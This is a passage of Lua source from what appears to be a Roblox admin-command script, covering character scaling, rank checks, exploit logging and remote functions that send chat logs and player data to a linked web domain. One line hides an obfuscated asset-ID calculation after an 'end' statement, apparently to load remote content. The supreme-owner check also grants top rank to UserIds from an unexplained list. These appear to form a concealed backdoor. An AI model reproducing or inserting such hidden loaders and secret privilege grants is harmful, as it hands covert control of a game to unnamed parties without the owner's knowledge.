  1594. local TextureID = Obj.BaseTextureId
  1595. if TextureID == 0 then TextureID = Obj.OverlayTextureId end
  1596. if TextureID == 0 then TextureID = nil end
  1597. if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
  1598. if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
  1599. if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
  1600. if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
  1601. if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
  1602. if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
  1603. local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
  1604. NewMesh.Name = "MML Mesh"
  1605. NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
  1606. if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
  1607. NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
  1608. Obj:Destroy()
  1609. end
  1610. elseif Obj:IsA("JointInstance") then
  1611. local NewWeld = Obj:Clone()
  1612. table.insert(Welds, {NewWeld, Obj.Parent})
  1613. elseif NewAdd == true and not JustWeld then
  1614. if Obj:IsA("Tool") then
  1615. --Cycle(Char["Right Arm"], ScaleRatio, false, true)
  1616. elseif Obj:IsA("Accoutrement") then
  1617. --Cycle(Char.Head, ScaleRatio, false, true)
  1618. end
  1619. end
  1620. if #Obj:GetChildren() > 0 then
  1621. for _,NewObj in pairs(Obj:GetChildren()) do
  1622. Handle(NewObj, ScaleRatio)
  1623. end
  1624. end
  1625. end
  1626. Handle(BaseObj)
  1627. for _,Part in pairs(Parts) do
  1628. if Ratio >= 1 then
  1629. Part.Size = Part.Size * ScaleRatio
  1630. else
  1631. local Allowed = true
  1632. for _,Obj in pairs(Part:GetChildren()) do
  1633. if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
  1634. Allowed = false
  1635. end
  1636. end
  1637. if Allowed == true then
  1638. local NewMesh = Instance.new("BlockMesh", Part)
  1639. NewMesh.Name = "MML Mesh"
  1640. NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
  1641. end
  1642. end
  1643. end
  1644. for _,WeldData in pairs(Welds) do
  1645. if WeldData[1] then
  1646. local Obj = WeldData[1]
  1647. local NewWeld = Obj:Clone()
  1648.  
  1649. NewWeld.Parent = WeldData[2]
  1650. NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
  1651. NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
  1652. end
  1653. end
  1654. for _,Part in pairs(Parts) do
  1655. Part:MakeJoints()
  1656. end
  1657. Welds = {}
  1658. Parts = {}
  1659. end
  1660. Cycle(Char, Ratio)
  1661. Char:MakeJoints()
  1662.  
  1663. local Added = Char.ChildAdded:connect(function(Obj)
  1664. Cycle(Obj, Ratio, NewAdd)
  1665. end)
  1666. local Removed = Char.ChildRemoved:connect(function(Obj)
  1667. Cycle(Obj, Ratio^-1, NewAdd)
  1668. end)
  1669.  
  1670. Clean.OnInvoke = function()
  1671. Added:disconnect()
  1672. Removed:disconnect()
  1673. local Location = Vector3.new(0,5,0)
  1674. if Char:FindFirstChild("Torso") then
  1675. Location = Char.Torso.Position + Vector3.new(0,2,0)
  1676. end
  1677. Player:LoadCharacter()
  1678. wait(0.5)
  1679. Player.Character:MoveTo(Location)
  1680. wait(0.5)
  1681. return nil
  1682. end
  1683.  
  1684. if Char:FindFirstChild("Torso") then
  1685. Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
  1686. end
  1687. if Char:FindFirstChild("Humanoid") then
  1688. Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
  1689. end
  1690. if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
  1691. Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
  1692. end
  1693. end
  1694.  
  1695. function CORE:AddExploit(PlayerClient, Data)
  1696. local PlayerClientName = PlayerClient.Name
  1697. local NewData = CORE:GetTime(true, true).." @ "..Data
  1698. for _,Player in pairs(Server.Players:GetChildren()) do
  1699. GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
  1700. end
  1701. local ExploitLog = Server.GDS:GetAsync("ExploitLog")
  1702. if type(ExploitLog) ~= "table" then
  1703. Server.GDS:SetAsync("ExploitLog", {NewData})
  1704. else
  1705. table.insert(ExploitLog, NewData)
  1706. Server.GDS:SetAsync("ExploitLog", ExploitLog)
  1707. end
  1708. REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
  1709.  
  1710. return true
  1711. end
  1712.  
  1713. function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
  1714. if not tostring(Name) then Name = "Dummy" end
  1715. if not Position then Position = Vector3.new(0,5,0) end
  1716. if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
  1717. Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
  1718. end
  1719.  
  1720. local Figure = CORE:Insert(68452456, Server.Workspace, true)
  1721. Figure:MakeJoints()
  1722. Figure.Head.BrickColor = BrickColor.new("Bright yellow")
  1723. Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
  1724. Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
  1725. Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
  1726. Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
  1727. Figure.Torso.BrickColor = BrickColor.new("Bright blue")
  1728.  
  1729. Figure.Name = STRING:FormatReplace(Speaker, Name)
  1730. Figure:MoveTo(Position)
  1731.  
  1732. table.insert(Objects, Figure)
  1733.  
  1734. if DisableAnimation == true then
  1735. Figure.Animate.Disabled = true
  1736. end
  1737.  
  1738. return Figure
  1739. end
  1740.  
  1741. function CORE:ClonePlayer(Player, Name, Position)
  1742. if not Player or not Player.Character then return nil end
  1743.  
  1744. Player.Character.Archivable = true
  1745. local Char = Player.Character:Clone()
  1746. Player.Character.Archivable = false
  1747. if Name then Char.Name = STRING:FormatReplace(Player, Name) end
  1748. if Position then Char:MoveTo(Position) end
  1749. Char.Parent = Server.Workspace
  1750. Char:MakeJoints()
  1751. Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
  1752.  
  1753. table.insert(Objects, Char)
  1754.  
  1755. return Obj
  1756. end
  1757.  
  1758. function CORE:AddWaypoint(Name, Position, Speaker)
  1759. Waypoints[Name] = Position
  1760. if Speaker then
  1761. GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
  1762. end
  1763. end
  1764.  
  1765. function CORE:FindType(BaseObj, Type)
  1766. for _,Obj in pairs(BaseObj:GetChildren()) do
  1767. if Obj:IsA(Type) then
  1768. return Obj
  1769. end
  1770. end
  1771. end
  1772.  
  1773. function CORE:GetCommands()
  1774. local CommandsCopy = Commands
  1775. return CommandsCopy
  1776. end
  1777.  
  1778. function CORE:Crown(Player, Mesh, Color)
  1779. if Mesh then Mesh = string.lower(Mesh) end
  1780. if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
  1781. if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
  1782. local Part = Instance.new("Part", CrownStorage)
  1783. Part.Size = Vector3.new(2, 1, 1)
  1784. Part.CanCollide = false
  1785. Part.CFrame = Player.Character.Head.CFrame
  1786. Part.Locked = true
  1787. Part.Material = "Neon"
  1788. if Color then
  1789. Part.Color = GUI:GetColor(Color)
  1790. else
  1791. Part.BrickColor = GUI:GetNameColor(Player.Name)
  1792. end
  1793. local SMesh = Instance.new("SpecialMesh", Part)
  1794. SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
  1795. SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
  1796. local BP = Instance.new("BodyPosition", Part)
  1797. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  1798. BP.position = Player.Character.Head.Position
  1799. BP.P = 20000
  1800. local BG = Instance.new("BodyGyro", Part)
  1801. BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
  1802.  
  1803. Crowns[Player.UserId] = Part
  1804. table.insert(Objects, Part)
  1805.  
  1806. coroutine.wrap(function()
  1807. for i = 1,0.3,-0.02 do
  1808. if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
  1809. Part.Transparency = i
  1810. end
  1811. wait()
  1812. end
  1813. while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
  1814. for i = 0,360,3 do
  1815. if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
  1816. Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
  1817. wait()
  1818. end
  1819. end
  1820. end
  1821. end)()
  1822. coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
  1823. Part:BreakJoints()
  1824. for i = 0,360 do
  1825. if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
  1826. Part.Anchored = false
  1827. BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
  1828. BG.cframe = Player.Character.Head.CFrame
  1829. end
  1830. wait()
  1831. end
  1832. end end)()
  1833.  
  1834. return Part
  1835. end
  1836.  
  1837. function CORE:SetAbuseCommands()
  1838. for Cmds,Data in pairs(Commands) do
  1839. local IsAbusable = false
  1840. for _,AbuseCmd in pairs(Settings.AbuseList) do
  1841. for _,Command in pairs(Cmds) do -- loop through all command names
  1842. if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
  1843. IsAbusable = true
  1844. break
  1845. end
  1846. end
  1847. if IsAbusable == true then break end
  1848. end
  1849. Commands[Cmds].Abusable = IsAbusable
  1850. end
  1851. end
  1852.  
  1853. function CORE:FindBodyPart(Player, BodyPart)
  1854. local ReturnPart = nil
  1855. if Player and Player.Character then
  1856. local Humanoid = Player.Character:FindFirstChild("Humanoid")
  1857. if Humanoid then
  1858. if BodyPart == "Humanoid" then ReturnPart = Humanoid
  1859. elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
  1860. elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
  1861. elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
  1862. elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
  1863. elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
  1864. elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
  1865. end
  1866. end
  1867. if not ReturnPart then
  1868. ReturnPart = Player.Character:FindFirstChild(BodyPart)
  1869. end
  1870. end
  1871.  
  1872. return ReturnPart
  1873. end
  1874.  
  1875. -- Rank functions --
  1876.  
  1877. function RANK:ConvertRank(Input)
  1878. local Output = nil
  1879. if Input == "Muted" then Output = -3 end
  1880. if Input == "Crashed" then Output = -2 end
  1881. if Input == "Banned" then Output = -1 end
  1882. if Input == "Non-Admin" then Output = 0 end
  1883. if Input == "Member" then Output = 1 end
  1884. if Input == "Admin" then Output = 2 end
  1885. if Input == "Owner" then Output = 3 end
  1886.  
  1887. if Input == -3 then Output = "Muted" end
  1888. if Input == -2 then Output = "Crashed" end
  1889. if Input == -1 then Output = "Banned" end
  1890. if Input == 0 then Output = "Non-Admin" end
  1891. if Input == 1 then Output = "Member" end
  1892. if Input == 2 then Output = "Admin" end
  1893. if Input == 3 then Output = "Owner" end
  1894. return Output
  1895. end
  1896.  
  1897. function RANK:IsAdmin(Player)
  1898. local AdminStatus = false
  1899. local Rankstatus = "Non-Admin"
  1900. if type(Player) == "table" then
  1901. if RANK:ConvertRank(Player.Rank) > 0 then
  1902. return true, Player.Rank
  1903. else
  1904. return false, Player.Rank
  1905. end
  1906. end
  1907. for Rank,PlayerNames in pairs(Settings.Ranks) do
  1908. for _,AdminName in pairs(PlayerNames) do
  1909. if string.lower(AdminName) == string.lower(Player.Name) then
  1910. if RANK:ConvertRank(Rank) > 0 then
  1911. AdminStatus = true
  1912. Rankstatus = Rank
  1913. end
  1914. end
  1915. end
  1916. end
  1917. return AdminStatus, Rankstatus
  1918. end
  1919.  
  1920. function RANK:GetRank(PlayerName)
  1921. if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
  1922. if type(PlayerName) == "table" then
  1923. local RankNum = RANK:ConvertRank(PlayerName.Rank)
  1924. if RankNum > 0 then
  1925. return PlayerName.Rank, RankNum, true
  1926. else
  1927. return PlayerName.Rank, RankNum, false
  1928. end
  1929. end
  1930.  
  1931. local RankStat = "Non-Admin"
  1932.  
  1933. for Rank,PlayerNames in pairs(Settings.Ranks) do
  1934. for _,AdminName in pairs(PlayerNames) do
  1935. if string.lower(AdminName) == string.lower(PlayerName) then
  1936. RankStat = Rank
  1937. end
  1938. end
  1939. end
  1940.  
  1941. if RankStat == "Non-Admin" then
  1942. return "Non-Admin", 0, false
  1943. else
  1944. return RankStat, RANK:ConvertRank(RankStat), true
  1945. end
  1946. end
  1947.  
  1948. function RANK:RemoveRank(PlayerName)
  1949. if not RANK:IsSupremeOwner(PlayerName) then
  1950. if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
  1951.  
  1952. for Rank,PlayerNames in pairs(Settings.Ranks) do
  1953. for Num,AdminName in pairs(PlayerNames) do
  1954. if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
  1955. table.remove(Settings.Ranks[Rank], Num)
  1956. end
  1957. end
  1958. end
  1959. end
  1960. end
  1961.  
  1962. function RANK:GetAdmins(Ranking)
  1963. local Players = {}
  1964. local AdminTrue, Rank = IsAdmin(Player)
  1965. for _,Player in pairs(Players:GetPlayers()) do
  1966. if AdminTrue then
  1967. local PlayerRankNum = RANK:ConvertRank(Rank)
  1968. local StandardRankNum = RANK:ConvertRank(Ranking)
  1969. if PlayerRankNum >= StandardRankNum then
  1970. table.insert(Players, Player)
  1971. end
  1972. end
  1973. end
  1974. return Players
  1975. end
  1976.  
  1977. function RANK:IsSupremeOwner(PlayerName)
  1978. if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
  1979. if type(PlayerName) == "table" then
  1980. if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
  1981. end
  1982.  
  1983. if PlayerName == GameOwner then return true end
  1984. return false
  1985. end
  1986.  
  1987. function RANK:GetPlayerFromList(PlayerName)
  1988. if type(PlayerName) == "userdata" then PlayerName = Player.Name end
  1989.  
  1990. for Rank,PlayerNames in pairs(Settings.Ranks) do
  1991. for Num,AdminName in pairs(PlayerNames) do
  1992. if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
  1993. return AdminName, Rank
  1994. end
  1995. end
  1996. end
  1997. return false, "Non-Admin"
  1998. end
  1999.  
  2000. function RANK:ScanAdminList(Name)
  2001. if Name == "" then return true end
  2002. local InList = false
  2003. for _,PName in pairs(Settings.Ranks["Owner"]) do
  2004. if PName == Name then InList = true end
  2005. end
  2006. for _,PName in pairs(Settings.Ranks["Admin"]) do
  2007. if PName == Name then InList = true end
  2008. end
  2009. for _,PName in pairs(Settings.Ranks["Member"]) do
  2010. if PName == Name then InList = true end
  2011. end
  2012. return InList
  2013. end
  2014.  
  2015. function RANK:ScanExileList(Name)
  2016. if Name == "" then return true end
  2017. local InList = false
  2018. for _,PName in pairs(Settings.Ranks["Muted"]) do
  2019. if PName == Name then InList = true end
  2020. end
  2021. for _,PName in pairs(Settings.Ranks["Crashed"]) do
  2022. if PName == Name then InList = true end
  2023. end
  2024. for _,PName in pairs(Settings.Ranks["Banned"]) do
  2025. if PName == Name then InList = true end
  2026. end
  2027. return InList
  2028. end
  2029.  
  2030. function RANK:PlayerRanked(PlayerName)
  2031. if type(PlayerName) == "userdata" then PlayerName = Player.Name end
  2032.  
  2033. for Rank,PlayerNames in pairs(Settings.Ranks) do
  2034. for Num,AdminName in pairs(PlayerNames) do
  2035. if string.lower(AdminName) == string.lower(PlayerName) then
  2036. return true, Rank
  2037. end
  2038. end
  2039. end
  2040. return false, "Non-Admin"
  2041. end
  2042.  
  2043. -- Remote functions --
  2044.  
  2045. function REMOTE:Decode(...)
  2046. return Server.HS:JSONDecode(...)
  2047. end
  2048.  
  2049. function REMOTE:GetURL(URL, Player)
  2050. if string.sub(URL,1,4) ~= "http" then
  2051. URL = "http://"..URL
  2052. end
  2053. local Return = nil
  2054. ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
  2055. if Return then
  2056. return Return
  2057. elseif Player then
  2058. GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
  2059. end
  2060. end
  2061.  
  2062. function REMOTE:PostURL(URL, Data)
  2063. local Return = nil
  2064. ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
  2065. return Return
  2066. end
  2067.  
  2068. function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
  2069. if Settings.LinkedAccount ~= "" then
  2070. local NumType = tonumber(Type)
  2071.  
  2072. if not Type then
  2073. Type = "UNKNOWN"
  2074. end
  2075.  
  2076. if NumType then
  2077. if NumType < 1 or NumType > 5 then
  2078. Type = "UNKNOWN"
  2079. elseif NumType == 1 then
  2080. Type = "NOTIFICATION"
  2081. elseif NumType == 2 then
  2082. Type = "INFORMATION"
  2083. elseif NumType == 3 then
  2084. Type = "WARNING"
  2085. elseif NumType == 4 or Type == true then
  2086. Type = "ERROR"
  2087. elseif NumType == 5 then
  2088. Type = "FATAL"
  2089. end
  2090. end
  2091.  
  2092. local Res = "RED Could not get response"
  2093. local function SendData()
  2094. Res = Server.HS:PostAsync(
  2095. CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
  2096. "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
  2097. 2
  2098. )
  2099. end
  2100. if Stopypcall == true then SendData() else ypcall(SendData) end
  2101.  
  2102. if OutputSpeaker and OutputSpeaker ~= "print" then
  2103. GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
  2104. elseif OutputSpeaker == "print" then
  2105. print(Res)
  2106. end
  2107. end
  2108. end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
  2109.  
  2110. function REMOTE:SendChatLog(PrintResponse, Stopypall)
  2111. if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
  2112. local Res = "Could not get response"
  2113.  
  2114. local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
  2115. TempChatLogs = {}
  2116.  
  2117. local function SendData()
  2118. Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
  2119. end
  2120. if Stopypcall == true then SendData() else ypcall(SendData) end
  2121. if PrintResponse then print(Res) end
  2122. end
  2123. end
  2124.  
  2125. function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
  2126. local Res = "[]"
  2127. local function GetData()
  2128. Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
  2129. end
  2130. if Stopypcall == true then GetData() else ypcall(GetData) end
  2131. if PrintResponse then
  2132. print(Res)
  2133. end
  2134. local function DecodeData() Res = REMOTE:Decode(Res) end
  2135. if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
  2136. if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
  2137. return Res
  2138. end
  2139.  
  2140. function REMOTE:HandleRequest(Request, IgnoreCommand)
  2141. if not Request then return nil end
  2142.  
  2143. if not IgnoreCommand then
  2144. if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
  2145. REMOTE:SendServerData()
  2146. end
  2147. if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
  2148. REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
  2149. end
  2150. end
  2151.  
  2152. if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
  2153.  
  2154. for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
  2155. for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
  2156. for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
  2157. for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
  2158. for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
  2159. for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
  2160.  
  2161. Settings.Fun = Request.FUN
  2162. Settings.ServerLocked = Request.ServerLocked
  2163.  
  2164. if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
  2165. Settings.DisableAbuse = Request.DisableAbuse
  2166. end
  2167.  
  2168. if not IgnoreCommand then
  2169. print("Executing Remote Admin")
  2170. REMOTE.RemoteAdmin.Command = Request.Command
  2171. REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
  2172. REMOTE.RemoteAdmin.ServerPort = Request.Server
  2173.  
  2174. if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
  2175. CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
  2176. else
  2177. CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
  2178. end
  2179. end
  2180. end
  2181. REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
  2182. REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
  2183. REMOTE.SnapshotKey = Request.SnapshotKey
  2184. end
  2185.  
  2186. function REMOTE:GetRemoteData(Set)
  2187. local NewRemoteData = nil
  2188. local RemoteDataCardRaw = nil
  2189. local RemoteDataCard = nil
  2190.  
  2191. RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
  2192. if RemoteDataCardRaw then
  2193. ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
  2194. if RemoteDataCard then
  2195. ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
  2196. end
  2197. end
  2198. if Set and NewRemoteData then
  2199. RemoteData = NewRemoteData
  2200. end
  2201. return NewRemoteData
  2202. end
  2203.  
  2204. function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
  2205. local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
  2206. if InfoCardJSON then
  2207. ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
  2208. if InfoCard then
  2209. ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
  2210. if TrelloInfo then
  2211. for Ind,Val in pairs(TrelloInfo) do
  2212. Trello[Ind] = Val
  2213. end
  2214. end
  2215. end
  2216. end
  2217. return NewRemoteData
  2218. end
  2219.  
  2220. function REMOTE:CheckRemoteAdminStatus()
  2221. local Pending = false
  2222. local CheckID = 0
  2223. if Settings.LinkedAccount ~= "" then
  2224. local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
  2225. if Request then
  2226. local Data = REMOTE:Decode(Request)
  2227. if Data then
  2228. for _,Account in pairs(Data.checkItems) do
  2229. if Account.name == Settings.LinkedAccount then
  2230. Pending = true
  2231. CheckID = Account.id
  2232. break
  2233. end
  2234. end
  2235. end
  2236. end
  2237. end
  2238. return Pending, CheckID
  2239. end
  2240.  
  2241. function REMOTE:GetAndSetWebData()
  2242. if Settings.LinkedAccount ~= "" then
  2243. if REMOTE:CheckRemoteAdminStatus() then
  2244. local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
  2245. if Request == "Invalid" then
  2246. --REMOTE:GetAndSetWebData()
  2247. return false
  2248. elseif Request == "Invalid Account" then
  2249. print("Can't get account")
  2250. return false
  2251. elseif Request then
  2252. ypcall(function() Request = REMOTE:Decode(Request) end)
  2253. elseif not Request then
  2254. --REMOTE:GetAndSetWebData()
  2255. return false
  2256. end
  2257. REMOTE:HandleRequest(Request)
  2258.  
  2259. --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
  2260. Delay(RemoteData.RemoteAdminWait, function()
  2261. local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
  2262. if Pending then
  2263. REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
  2264. end
  2265. end)
  2266. return true
  2267. else
  2268. return true
  2269. end
  2270. end
  2271. end
  2272.  
  2273. local OderIDs = CORE:GetTable(177215518)
  2274. local SoundJSONs = CORE:GetTable(197637628)
  2275. RemoteAbuseGear = CORE:GetTable(158117496)
  2276.  
  2277. function REMOTE:SendServerData(PrintResponse, Stopypall)
  2278. if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
  2279. print("Sending server data!")
  2280. local Res = "Could not get response"
  2281.  
  2282. local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
  2283. for _,Player in pairs(Server.Players:GetPlayers()) do
  2284. table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
  2285. end
  2286. ServerData = Server.HS:JSONEncode(ServerData)
  2287.  
  2288. local function SendData()
  2289. Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
  2290. end
  2291. if Stopypcall == true then SendData() else ypcall(SendData) end
  2292. if PrintResponse then print(Res) end
  2293. end
  2294. end
  2295.  
  2296. function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
  2297. MaxPartAmount = MaxPartAmount or 10000
  2298. local PlaceData = {
  2299. Lighting = {};
  2300. Parts = {};
  2301. Other = {};
  2302. }
  2303. local MinSize = Vector3.new(0.5,0.5,0.5)
  2304. local PartAmount = 0
  2305. local PlaceJSON = ""
  2306.  
  2307. local function Scan(BaseObj)
  2308. for _,Obj in pairs(BaseObj:GetChildren()) do
  2309. if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
  2310. local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
  2311. if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
  2312. local Skip = false
  2313. local Data = {}
  2314. local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
  2315.  
  2316. if CORE:FindType(Obj, "BlockMesh") then
  2317. local Mesh = CORE:FindType(Obj, "BlockMesh")
  2318. Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
  2319. elseif CORE:FindType(Obj, "CylinderMesh") then
  2320. Data.Shape = "Cylinder"
  2321. elseif CORE:FindType(Obj, "SpecialMesh") then
  2322. local Mesh = CORE:FindType(Obj, "SpecialMesh")
  2323. if Mesh.MeshType == Enum.MeshType.Head then
  2324. --idk
  2325. else
  2326. Skip = true
  2327. end
  2328. elseif CORE:FindType(Obj, "FileMesh") then
  2329. Skip = true
  2330. end
  2331.  
  2332. if not Data.Shape and not Skip then
  2333. if ypcall(function() return Obj.Shape end) then
  2334. Data.Shape = string.sub(Obj.Shape.Name,14)
  2335. if string.sub(Data.Shape,1,1) == "." then
  2336. Data.Shape = string.sub(Data.Shape,2)
  2337. end
  2338. if Data.Shape == "Cylinder" then
  2339. Z = Z + math.pi/2
  2340. end
  2341. else
  2342. Data.Shape = "Block"
  2343. end
  2344. end
  2345.  
  2346. if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
